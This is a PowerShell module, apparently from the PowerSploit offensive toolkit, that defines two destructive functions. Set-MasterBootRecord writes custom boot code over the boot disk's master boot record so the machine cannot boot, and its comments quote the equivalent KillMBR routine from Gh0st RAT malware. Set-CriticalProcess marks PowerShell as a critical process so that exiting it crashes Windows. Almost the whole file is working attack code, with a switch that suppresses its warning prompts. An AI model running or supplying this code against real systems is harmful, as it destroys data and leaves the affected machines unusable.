Mayhem/Mayhem.psm1
function Set-MasterBootRecord { <# .SYNOPSIS Proof of concept code that overwrites the master boot record with the message of your choice. PowerSploit Function: Set-MasterBootRecord Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Set-MasterBootRecord is proof of concept code designed to show that it is possible with PowerShell to overwrite the MBR. This technique was taken from a public malware sample. This script is inteded solely as proof of concept code. .PARAMETER BootMessage Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force Suppress the warning prompt. .EXAMPLE Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES Obviously, this will only work if you have a master boot record to overwrite. This won't work if you have a GPT (GUID partition table) #> <# This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): // CGh0stApp message handlers unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } #> [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', [Switch] $RebootImmediately, [Switch] $Force ) if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { throw 'This script must be executed from an elevated command prompt.' } if (!$Force) { if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) { return } } #region define P/Invoke types dynamically $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.Kernel32]::DeviceIoControl $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CreateFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::WriteFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CloseHandle $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() #endregion $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) # Convert the boot message to a byte array $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) [Byte[]] $MBRInfectionCode = @( 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer ) + $MessageBytes $MBRSize = [UInt32] 512 if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) { throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." } # Allocate 512 bytes for the MBR $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) # Write boot record signature to the end of the MBR [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) # Get the device ID of the boot disk $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 $FILE_SHARE_READWRITE = 2 -bor 1 $OPEN_EXISTING = 3 # Obtain a read handle to the raw disk $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) { throw "Unable to obtain read/write handle to $DeviceID" } $BytesReturned = [UInt32] 0 $BytesWritten = [UInt32] 0 $FSCTL_LOCK_VOLUME = 0x00090018 $FSCTL_UNLOCK_VOLUME = 0x0009001C $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::CloseHandle($DriveHandle) Start-Sleep -Seconds 2 [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) Write-Verbose 'Master boot record overwritten successfully.' if ($RebootImmediately) { Restart-Computer -Force } } function Set-CriticalProcess { <# .SYNOPSIS Causes your machine to blue screen upon exiting PowerShell. PowerSploit Function: Set-CriticalProcess Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER ExitImmediately Immediately exit PowerShell after successfully marking the process as critical. .PARAMETER Force Set the running PowerShell process as critical without asking for confirmation. .EXAMPLE Set-CriticalProcess .EXAMPLE Set-CriticalProcess -ExitImmediately .EXAMPLE Set-CriticalProcess -Force -Verbose #> [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [Switch] $Force, [Switch] $ExitImmediately ) if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' } $Response = $True if (!$Force) { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } if (!$Response) { return } $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) # Define [ntdll]::NtQuerySystemInformation method $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', 'ntdll.dll', ([Reflection.MethodAttributes] 'Public, Static'), [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $ntdll = $TypeBuilder.CreateType() $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) $ProcessBreakOnTermination = 29 $SizeUInt32 = 4 try { $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) } catch { return } Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' if ($ExitImmediately) { Stop-Process -Id $PID } } |